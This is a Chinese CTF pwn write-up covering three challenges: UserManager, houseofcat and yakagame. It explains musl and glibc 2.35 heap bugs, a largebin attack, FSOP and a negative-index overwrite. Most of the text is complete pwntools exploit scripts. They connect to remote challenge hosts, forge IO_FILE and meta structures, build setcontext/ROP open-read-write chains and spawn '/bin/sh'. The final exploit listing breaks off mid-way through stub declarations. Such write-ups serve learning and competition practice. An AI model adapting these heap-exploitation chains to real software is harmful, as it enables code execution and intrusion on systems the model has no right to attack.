# Pwn

# challenge UserManager

菜单题 musl

二叉树

add 里面有 uaf。

连续两次 id 一样。

用的 calloc,得想办法 leak。

堆风水先把 avail chunk 给消耗完。再 free user。 再分配的时候就可以完成用 user 占位 name。然后用 name 来 leak libc 和 elf base

再用 name 反过来占位 user,写 secret 的地址就可以 leak 出 secret。

dequeue 打类似 unlink 攻击,打 io file,fsop。堆风水,注意到 parent 指针会有出现解引用的问题,重新调整一下就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# encoding=utf-8
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

# functions for quick script
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :p.recvuntil(delims, drop) # by default, drop is set to false
irt = lambda :p.interactive()
# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00')) # to get 8 byte addr
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# gdb debug
def z(a=''):
if local:
gdb.attach(p,a)
if a == '':
raw_input()

# basic config
local = 0

elf_path = "UserManager"
libc=ELF('./libc.so')

elf = ELF(elf_path)
# libc = elf.libc

def start():
global p
if local:
p = process(elf_path)
else:
p = remote('123.56.45.155',23014)

def add(id,size,content):
sla(': ','1')
sla('Id: ',str(id))
sla('UserName length: ', str(size))
sla('UserName: ',content)

def show(id):
sla(': ','2')
sla('Id: ',str(id))

def dele(id):
sla(': ','3')
sla('Id: ',str(id))

def clear():
sla(': ','4')


class META_struct:
BIT_FIELD_BLEN = {
'last_idx' : 5,
'freeable' : 1,
'sizeclass' : 6,
'maplen' : 52,
}

FIELD_NAME = (
'prev',
'next',
'mem',
'avail_mask',
'freed_mask',
'last_idx',
'freeable',
'sizeclass',
'maplen'
)

def __init__(self):
self.__data = {}
for k in self.FIELD_NAME:
self.__data[k] = 0

def __setattr__(self, attr, vaule):
if attr in self.FIELD_NAME:
self.__data[attr] = vaule
else:
super().__setattr__(attr, vaule)

def __getattr__(self, attr):
if attr in self.FIELD_NAME:
return self.__data[attr]
else:
return super().__getattr__(attr)

def __bytes__(self):
payload = b''

for k in ('prev', 'next', 'mem'):
payload += p64(self.__data[k])
for k in ('avail_mask', 'freed_mask'):
payload += p32(self.__data[k])
bv = 0
bpos = 0
for k in ('last_idx', 'freeable', 'sizeclass', 'maplen'):
blen = self.BIT_FIELD_BLEN[k]
bv |= (self.__data[k] & ((1 << blen) - 1)) << bpos
bpos += blen
payload += p64(bv)

return payload


def exp():
for i in range(7-2):
add(i, 0x98, str(i)*8)
clear()

add(4,0x38,'aaaaaaa')

add(4,0x98,'bbbbbbb')

add(3,0x98, 'oooooooo') # 用user占位4的name

show(4)
r(8)
libc_base = uu64(r(6))-0xb7a60
leak('libc',libc_base)
r(2+8*2)
elf_base = uu64(r(6))- 0x5d80
leak('elf_base',elf_base)
z('watch * 0x555555559da0')
pause()
dele(3)

secret_offset = 0xb4ac0
add(3,0x38, p64(4)+p64(libc_base+ secret_offset) +p64(0x38)+p64(0x2)+p64(0xdeadbeef)) # 用name反过来占位3的user
# pause()
show(4)

secret = uu64(r(8))
leak('secret',secret)

system = libc_base + libc.sym['system']


# fake start
# page_addr = libc_base - 0x7000 # noaslr
page_addr = libc_base - 0x3000 # aslr
fake_file_addr = libc_base+(0xb7f50) # addr of fake file struct
ofl_head_addr = libc_base+(0xb6e48)


# 写一个伪造的指针到name,用于任意地址free
dele(3)
add(3,0x98, 'oooooooo') # 用user占位4的name,重新做一遍,防止后续parent时出现问题。
dele(3)
add(3,0x38, p64(4)+p64(page_addr+0x40) +p64(0x38)+p64(0x2)+p64(0xdeadbeef))



# 伪造各种结构体到mmap内存上
fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem = page_addr+0x30
fm.freeable = 1
fm.maplen = 1

fake_slot = flat({
0 : secret,
0x8 : bytes(fm),
0x30 : page_addr+0x8,
0x38 : 0,
}, filler=b'\x00')

payload = 0xfe0*b'\x00' + fake_slot
add(9, 0x1300, payload)


# trigger dequeue
dele(4)


# fake _IO_FILE
fake_file = flat({
0 : b"/bin/sh\x00",
0x28 : 0xdeadbeef,
0x38 : 0xcafebabe,
0x48 : system
}, filler=b'\x00')
add( 20, 0x78, fake_file) # 看一下mheapinfo,然后打一个可分配的
pause()
sl('6')


start()
exp()
irt()

# challenge houseofcat

开局是一个类似于 httpd 的代码快,正确后才能进入堆菜单,这里就不多说了

最开始需要对 is_run [0] 进行初始化为 1:

1
run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')

然后之后每次调用菜单的 pyload:

1
2
3
4
5
6
7
8
def run(payload):
r.recvuntil(b'mew mew mew~~~~~~')
r.sendline(payload)

def menu(choice):
run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
r.recvuntil(b"plz input your cat choice:\n")
r.sendline(str(choice))

漏洞出在 delete 有 UAF,有两次 edit 机会,能构造两次 largebin attack (不用修复 largebin 链表,用 0x400 大小域和 0x440 大小域即可)。glibc2.35 的话,由于这道题 stderr 指针在 libc 上(应该是编译时加上了参数,否则正常 stderr 指针不会在 libc 段上)。因此两次 largebin attack 分别打 guard (glibc2.35 指针异或)和 stderr 指针,伪造 stderr 指针结构体即可,最后触发 stderr,调用 setcontext 进行 orw。

这道题本来是很正常的 house of emma,但是我卡在如何触发 stderr。

因为两次 edit 之后,构造了两次 largebin attack 后,没有剩余的 edit 次数了。

以往的 house of emma 都是通过 UAF,先 free 掉一个靠近 top chunk 的 unsortedbin p1,然后申请一个小于原来 p1 的堆块,这样 top chunk 就留在原来那个 UAF 的 p1 里,可以通过 UAF 更改 top chunk size,使其落入 top chunk size 不够分割的情况,这时候就会检查:

此处会对 top_chunk 的 size|flags 进行 assert 判断

  1. old_size >= 0x20;

  2. old_top.prev_inuse = 0;

  3. old_top 页对齐

然后可触发 malloc_assert,其中的 fxprintf 函数会调用 stderr。

不过这道题我们没有多余的 edit 机会了。

我思考之后,想到一种可能,若 largebin attack 和修改 top chunk size 可以同时进行的话。并且查阅 glibc 源码后发现,处理 largebin attack 部分源码在对 top chunk size 进行判断之前。

参考 CSDN 上一篇关于 house of apple 博客里的堆风水启迪了我:

可以先 malloc 0x480,0x480,(这两都紧挨着 top chunk) 然后都 free 掉,再 add 0x460,0x500 之类的,构造出一个 UAF 指针,指向我们下图中的 chunk3 位置。通过 chunk1 的 edit 功能可以改掉 bk_nextsize 和 chunk3 的 size,那就伪造一下 chunk3 的 size(用 add 函数输入内容伪造,不用 edit),改成 chunk3 距离 top chunk 的距离,然后 free 掉 UAF 的 chunk3 指针,这样就能使 top chunk 合并到 chunk3 附近。

然后就能用 edit 函数同时改 bk_nextsize 和 top chunk size。

然后直接干!

8e9f0a01ffeca6d662c36a444f077522

最后沙盒禁用了 execve,只能 orw,但是甚至 read 只能 read fd 为 0 的,因此需要先 close (0),然后再 orw,新打开的 flag 文件文件描述符为 0。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from sys import stderr
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/qwb/houseofcat/house_of_cat')
r = remote('47.94.166.51',37799)
libc = ELF('/mnt/hgfs/ubuntu/qwb/houseofcat/libc.so.6')


def run(payload):
r.recvuntil(b'mew mew mew~~~~~~')
r.sendline(payload)

def menu(choice):
run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
r.recvuntil(b"plz input your cat choice:\n")
r.sendline(str(choice))

def add(idx,size,content):
menu(1)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
r.recvuntil(b"plz input your cat size:\n")
r.sendline(str(size))
r.recvuntil(b"plz input your content:\n")
r.send(content)

def delete(idx):
menu(2)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))

def show(idx):
menu(3)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))

def edit(idx,content):
menu(4)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(str(idx))
r.recvuntil(b"plz input your content:\n")
r.send(content)

def ROL(content, key):
tmp = bin(content)[2:].rjust(64,'0')
return int(tmp[key:] + tmp[:key], 2)

#make it 1
run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')
add(0,0x428,b'a')
add(1,0x448,b'a')

add(2,0x418,b'a')
add(7,0x458,b'a')
delete(0)

add(6,0x460,b'a')

show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x21a0d0
r.recv(10)
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x290

gadget_addr = libc_base+0x1675b0
next_chain = 0
srop_addr = heap_base+0x1c50
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x215b80+0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x1800), 0x11))

setcontext_addr = libc_base+libc.sym["setcontext"]
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx_r12 = libc_base+0x000000000011f497
pop_rax = libc_base+0x0000000000045eb0
syscall = libc_base+0x0000000000091396

fake_frame_addr = srop_addr


rop_data = [
pop_rdi,
heap_base+0x1c40+0x28,
pop_rax, # sys_open('flag', 0)
2,
syscall,

pop_rax, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi,
3,
pop_rsi,
fake_frame_addr + 0x200,
pop_rdx_r12,
0x100,
0,
syscall,

pop_rax, # sys_write(1, heap, 0x100)
1,
pop_rdi,
1,
pop_rsi,
fake_frame_addr + 0x200,
pop_rdx_r12,
0x100,
0,
syscall
]
orw = p64(pop_rdi)+p64(0)+p64(pop_rax)+p64(3)+p64(syscall)+p64(pop_rdi)+p64(heap_base+0x1c78)+p64(pop_rax)+p64(2)+p64(syscall)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
payload = p64(0)+p64(srop_addr)+p64(0)*2+p64(setcontext_addr + 61)+b'./flag\x00\x00'
payload = payload.ljust(0xa0,b'\0')
payload+= p64(heap_base+0x1c50+0x100)+p64(pop_rdi+1)
payload = payload.ljust(0x100,b'\0')
payload+= orw

add(3,0x438,b'a')
add(4,0x448,payload)
add(5,0x468,b'a')
add(8,0x438,b's')
delete(5)
delete(8)#UAF pointer
add(9,0x438,b'a')
stderr_addr = libc_base+libc.sym["stderr"]
delete(2)
add(10,0x418,fake_IO_FILE)
delete(10)
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(11,0x468,b'a'*0x20+p64(0)+p64(0xd31))

add(12,0x460,b'a')
delete(11)
add(13,0x469,b'a')
delete(3)

guard = libc_base-0x2890
delete(8)
edit(11,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x24d0)+p64(guard-0x20)+p64(0)+p64(0x206))



# # delete(11)
# # delete(11)

# # delete(8)
# add(14,0x469,b'a')
# delete(12)
# delete(13)
# delete(12)

# delete()

# delete(10)



# add(8,0x460,b'a')
# delete(3)
# edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x390)+p64(guard-0x20))
# add(9,0x460,b'a')

# gdb.attach(r)
# delete(12)

menu(1)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(b'14')
r.recvuntil(b"plz input your cat size:\n")
r.sendline(str(0x46f))




log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))


r.interactive()

# challenge yakagame

用 ida 打开 yaka.so,找到类似于主函数的函数,在一堆去符号函数中间,代码最长的那个(这里我重命名为 maybethis 了):

9413a77d-4c63-41e1-b677-e6e7f556c2c7

同时发现了后门函数:

a6660091-c555-449e-a98d-e009ebf475b6

上 Ayaka 看雪上温习了一下 llvm,之前国赛也出过。

程序上刚开始 malloc 了一个 cmd 的堆块,里面存放了一个初始的字符串。

分析一下各地方功能:

  • 程序必须包含在 gamestart 名函数中才能进入主循环,意为,最外层函数名需为 gamestart ()

  • gamestart 函数中有几个小的函数体:

①"fight" 函数:参数个数为 1,将传入的参数作为 idx,将该 weapon [idx] 与 boss 比较,判断是否赢,赢了的话操作 score = weapon [idx]-boss。输了的话没有影响。无论输赢都会判断是否进入后门函数。进入后门函数的要求为 score>0x12345678。

②"merge" 函数:参数个数为 2,将传入的参数作为 idx1,idx2,执行 weapon [idx1]+=weapon [idx2]

③"destroy" 函数,参数个数为 1,将传入的参数作为 idx,令 weapon [idx]=0

④"upgrade" 函数,参数个数为 1,将传入的参数作为 count (char 大小,有符号位扩展),对每一个 weapon [k] 执行 weapon [k]+=count

⑤四个对 cmd 进行整体字符串操作的函数。同时会减 boss 的值。

⑥else:当函数名不等于以上所有时,会将该该函数名加进 map 中,同时往 weaponlist 指定偏移写一个 char 类型参数。这里 map 和 cmap 对应的位置一样,参考 glibc 中的 srand 和本地起的 srand 同步。可以通过这种同步来进行预测,因此本地写一个 c map 来模拟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
#include <iostream>
#include <string>
#include <map>

using namespace std;
const char* arr[] = {
"lotu",
"lotu1",
"lotu2",
"lotu3",
"lotu4",
"lotu5",
"lotu6",
"lotu7",
"lotu8",
"lotu9",
"lotu10",
"lotu11",
"lotu12",
"lotu13",
"lotu14",
"lotu15",
"lotu16",
"lotu17",
"lotu18",
"lotu19",
"lotu20",
"lotu21",
"lotu22",
"lotu23",
"lotu24",
"lotu25",
"lotu26",
"lotu27",
"lotu28",
"lotu29",
"lotu30",
"lotu31",
"lotu32",
"lotu33",
"lotu34",
"lotu35",
"lotu36",
"lotu37",
"lotu38",
"lotu39",
"lotu40",
"lotu41",
"lotu42",
"lotu43",
"lotu44",
"lotu45",
"lotu46",
"lotu47",
"lotu48",
"lotu49",
"lotu50",
"lotu51",
"lotu52",
"lotu53",
"lotu54",
"lotu55",
"lotu56",
"lotu57",
"lotu58",
"lotu59",
"lotu60",
"lotu61",
"lotu62",
"lotu63",
"lotu64",
"lotu65",
"lotu66",
"lotu67",
"lotu68",
"lotu69",
"lotu70",
"lotu71",
"lotu72",
"lotu73",
"lotu74",
"lotu75",
"lotu76",
"lotu77",
"lotu78",
"lotu79",
"lotu80",
"lotu81",
"lotu82",
"lotu83",
"lotu84",
"lotu85",
"lotu86",
"lotu87",
"lotu88",
"lotu89",
"lotu90",
"lotu91",
"lotu92",
"lotu93",
"lotu94",
"lotu95",
"lotu96",
"lotu97",
"lotu98",
"lotu99",
"lotu100",
"lotu101",
"lotu102",
"lotu103",
"lotu104",
"lotu105",
"lotu106",
"lotu107",
"lotu108",
"lotu109",
"lotu110",
"lotu111",
"lotu112",
"lotu113",
"lotu114",
"lotu115",
"lotu116",
"lotu117",
"lotu118",
"lotu119",
"lotu120",
"lotu121",
"lotu122",
"lotu123",
"lotu124",
"lotu125",
"lotu126",
"lotu127",
"lotu128",
"lotu129",
"lotu130",
"lotu131",
"lotu132",
"lotu133",
"lotu134",
"lotu135",
"lotu136",
"lotu137",
"lotu138",
"lotu139",
"lotu140",
"lotu141",
"lotu142",
"lotu143",
"lotu144",
"lotu145",
"lotu146",
"lotu147",
"lotu148",
"lotu149",
"lotu150",
"lotu151",
"lotu152",
"lotu153",
"lotu154",
"lotu155",
"lotu156",
"lotu157",
"lotu158",
"lotu159",
"lotu160",
"lotu161",
"lotu162",
"lotu163",
"lotu164",
"lotu165",
"lotu166",
"lotu167",
"lotu168",
"lotu169",
"lotu170",
"lotu171",
"lotu172",
"lotu173",
"lotu174",
"lotu175",
"lotu176",
"lotu177",
"lotu178",
"lotu179",
"lotu180",
"lotu181",
"lotu182",
"lotu183",
"lotu184",
"lotu185",
"lotu186",
"lotu187",
"lotu188",
"lotu189",
"lotu190",
"lotu191",
"lotu192",
"lotu193",
"lotu194",
"lotu195",
"lotu196",
"lotu197",
"lotu198",
"lotu199",
"lotu200",
"lotu201",
"lotu202",
"lotu203",
"lotu204",
"lotu205",
"lotu206",
"lotu207",
"lotu208",
"lotu209",
"lotu210",
"lotu211",
"lotu212",
"lotu213",
"lotu214",
"lotu215",
"lotu216",
"lotu217",
"lotu218",
"lotu219",
"lotu220",
"lotu221",
"lotu222",
"lotu223",
"lotu224",
"lotu225",
"lotu226",
"lotu227",
"lotu228",
"lotu229",
"lotu230",
"lotu231",
"lotu232",
"lotu233",
"lotu234",
"lotu235",
"lotu236",
"lotu237",
"lotu238",
"lotu239",
"lotu240",
"lotu241",
"lotu242",
"lotu243",
"lotu244",
"lotu245",
"lotu246",
"lotu247",
"lotu248",
"lotu249",
"lotu250",
"lotu251",
"lotu252",
"lotu253",
"lotu254",
"lotu255"
};
int main() {
map<string, unsigned char> m;
for (int i = 0; i < 256; i++) {
m[arr[i]] = 0;
}
int index = 0;
for (auto i = m.begin(); i != m.end(); i++) {
cout << "index : " << showbase << hex << index++ << " " << i->first << endl;
}
}

这样就能知道程序里 map 对应的位置了。

我原本以为漏洞出在这里:

4353b8b9-3b67-4fad-8129-d0f8086a76a9

其中 boss 是 unsigned int,v53 为 int,并且 <= 是 signed 比较,那么理论上就可以通过不断调用 "tiandongwanxiang" 函数来将 boss 整数溢出,这要 v53 和 boss 有符号比较的时候,v53 肯定大于 boss,而 boss 是一个负数,*score 就能刷上来。

然后通过那四种函数组合,按理来说是能够爆破出来 /bin/sh\x00 的(将字符串替换成 /bin/sh\x00)。

于是丢给战队逆向手,写了个脚本没跑出来。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
start = 0x6668936D277B6892
end = 0x0068732f6e69622f

start = [0x66, 0x68, 0x93, 0x6D, 0x27, 0x7B, 0x68, 0x92]
end = [0x00, 0x68, 0x73, 0x2f, 0x6e, 0x69, 0x62, 0x2f]

st = [start]
op = ["0"]
flag = True
while len(st) and flag:
p = st.pop(0)
i = op.pop(0)

st.append([i^0x14 for i in p])
op.append(i+"1")
st.append([i^0x7F for i in p])
op.append(i+"2")
st.append([(i-9)&0xFF for i in p])
op.append(i+"3")
st.append([(i+2)&0xFF for i in p])
op.append(i+"4")

for i in range(len(st)):
if st[i] == end:
print(op[i])
print(st[i])
flag = False

实际执行的时候,取 boss 值放到 ecx 里面,然后比较时是用 rcx 做的比较,相当于无符号扩展。此时,boss 值不可能为负数,那这种方法就不可行了。

dede928d-10b6-45f2-a0bb-61700d1ca669

又看了看其他地方有没有符号位扩展的洞,记忆里 upgrate 有,但是没什么用,符号位扩展是针对写进的字符的,不是针对于 idx。

最后发现,v33 是 char,并且这里是对于 v33 是带符号扩展,通过不断 ++v3 可以让 v33 带符号扩展后成为负数。

567cc1eb-51e4-4ccb-ba95-931e7b828cc0

同时 weapon 数组上方有 score 和 cmd 的指针。

那就通过自己写的 c++ map,来得知程序中 map 的位置,然后负索引部分覆写 score 指针,让她指向一个大的值。本来我还想着在堆附近找一个大一点的值,不过后面一想,随便找了个值错位一下就变得很大了。

改掉 score 指针后,因为逆向手没有跑出来,所以我这还是得改 cmd 指针。本来想着挺简单的,就 add weapon 的时候,c 艹会申请堆块,那把函数名改为 sh 即可。但是调试发现这两堆块地址差太多了,部分覆写没用。爆破了一会也没爆破出来。

不过注意到程序提供的 opt-8 没有开 pie,嘿嘿,那就用她的字符串。

题外话是我最开始运行的时候报错了,后来一看是题目提供的 clang 和我版本不一致,下了个 clang-8。

1
clang-8 -emit-llvm -S yakagame.c -o yakagame.ll

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
#include<stdio.h>

void fight(long int a){};
void merge(int a,int b){}//a=a+b
void destroy(int a){};//a=0
void upgrade(int a){};//every+=a
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};
void lotu(int a){};
void lotu1(int a){};
void lotu2(int a){};
void lotu3(int a){};
void lotu4(int a){};
void lotu5(int a){};
void lotu6(int a){};
void lotu7(int a){};
void lotu8(int a){};
void lotu9(int a){};
void lotu10(int a){};
void lotu11(int a){};
void lotu12(int a){};
void lotu13(int a){};
void lotu14(int a){};
void lotu15(int a){};
void lotu16(int a){};
void lotu17(int a){};
void lotu18(int a){};
void lotu19(int a){};
void lotu20(int a){};
void lotu21(int a){};
void lotu22(int a){};
void lotu23(int a){};
void lotu24(int a){};
void lotu25(int a){};
void lotu26(int a){};
void lotu27(int a){};
void lotu28(int a){};
void lotu29(int a){};
void lotu30(int a){};
void lotu31(int a){};
void lotu32(int a){};
void lotu33(int a){};
void lotu34(int a){};
void lotu35(int a){};
void lotu36(int a){};
void lotu37(int a){};
void lotu38(int a){};
void lotu39(int a){};
void lotu40(int a){};
void lotu41(int a){};
void lotu42(int a){};
void lotu43(int a){};
void lotu44(int a){};
void lotu45(int a){};
void lotu46(int a){};
void lotu47(int a){};
void lotu48(int a){};
void lotu49(int a){};
void lotu50(int a){};
void lotu51(int a){};
void lotu52(int a){};
void lotu53(int a){};
void lotu54(int a){};
void lotu55(int a){};
void lotu56(int a){};
void lotu57(int a){};
void lotu58(int a){};
void lotu59(int a){};
void lotu60(int a){};
void lotu61(int a){};
void lotu62(int a){};
void lotu63(int a){};
void lotu64(int a){};
void lotu65(int a){};
void lotu66(int a){};
void lotu67(int a){};
void lotu68(int a){};
void lotu69(int a){};
void lotu70(int a){};
void lotu71(int a){};
void lotu72(int a){};
void lotu73(int a){};
void lotu74(int a){};
void lotu75(int a){};
void lotu76(int a){};
void lotu77(int a){};
void lotu78(int a){};
void lotu79(int a){};
void lotu80(int a){};
void lotu81(int a){};
void lotu82(int a){};
void lotu83(int a){};
void lotu84(int a){};
void lotu85(int a){};
void lotu86(int a){};
void lotu87(int a){};
void lotu88(int a){};
void lotu89(int a){};
void lotu90(int a){};
void lotu91(int a){};
void lotu92(int a){};
void lotu93(int a){};
void lotu94(int a){};
void lotu95(int a){};
void lotu96(int a){};
void lotu97(int a){};
void lotu98(int a){};
void lotu99(int a){};
void lotu100(int a){};
void lotu101(int a){};
void lotu102(int a){};
void lotu103(int a){};
void lotu104(int a){};
void lotu105(int a){};
void lotu106(int a){};
void lotu107(int a){};
void lotu108(int a){};
void lotu109(int a){};
void lotu110(int a){};
void lotu111(int a){};
void lotu112(int a){};
void lotu113(int a){};
void lotu114(int a){};
void lotu115(int a){};
void lotu116(int a){};
void lotu117(int a){};
void lotu118(int a){};
void lotu119(int a){};
void lotu120(int a){};
void lotu121(int a){};
void lotu122(int a){};
void lotu123(int a){};
void lotu124(int a){};
void lotu125(int a){};
void lotu126(int a){};
void lotu127(int a){};
void lotu128(int a){};
void lotu129(int a){};
void lotu130(int a){};
void lotu131(int a){};
void lotu132(int a){};
void lotu133(int a){};
void lotu134(int a){};
void lotu135(int a){};
void lotu136(int a){};
void lotu137(int a){};
void lotu138(int a){};
void lotu139(int a){};
void lotu140(int a){};
void lotu141(int a){};
void lotu142(int a){};
void lotu143(int a){};
void lotu144(int a){};
void lotu145(int a){};
void lotu146(int a){};
void lotu147(int a){};
void lotu148(int a){};
void lotu149(int a){};
void lotu150(int a){};
void lotu151(int a){};
void lotu152(int a){};
void lotu153(int a){};
void lotu154(int a){};
void lotu155(int a){};
void lotu156(int a){};
void lotu157(int a){};
void lotu158(int a){};
void lotu159(int a){};
void lotu160(int a){};
void lotu161(int a){};
void lotu162(int a){};
void lotu163(int a){};
void lotu164(int a){};
void lotu165(int a){};
void lotu166(int a){};
void lotu167(int a){};
void lotu168(int a){};
void lotu169(int a){};
void lotu170(int a){};
void lotu171(int a){};
void lotu172(int a){};
void lotu173(int a){};
void lotu174(int a){};
void lotu175(int a){};
void lotu176(int a){};
void lotu177(int a){};
void lotu178(int a){};
void lotu179(int a){};
void lotu180(int a){};
void lotu181(int a){};
void lotu182(int a){};
void lotu183(int a){};
void lotu184(int a){};
void lotu185(int a){};
void lotu186(int a){};
void lotu187(int a){};
void lotu188(int a){};
void lotu189(int a){};
void lotu190(int a){};
void lotu191(int a){};
void lotu192(int a){};
void lotu193(int a){};
void lotu194(int a){};
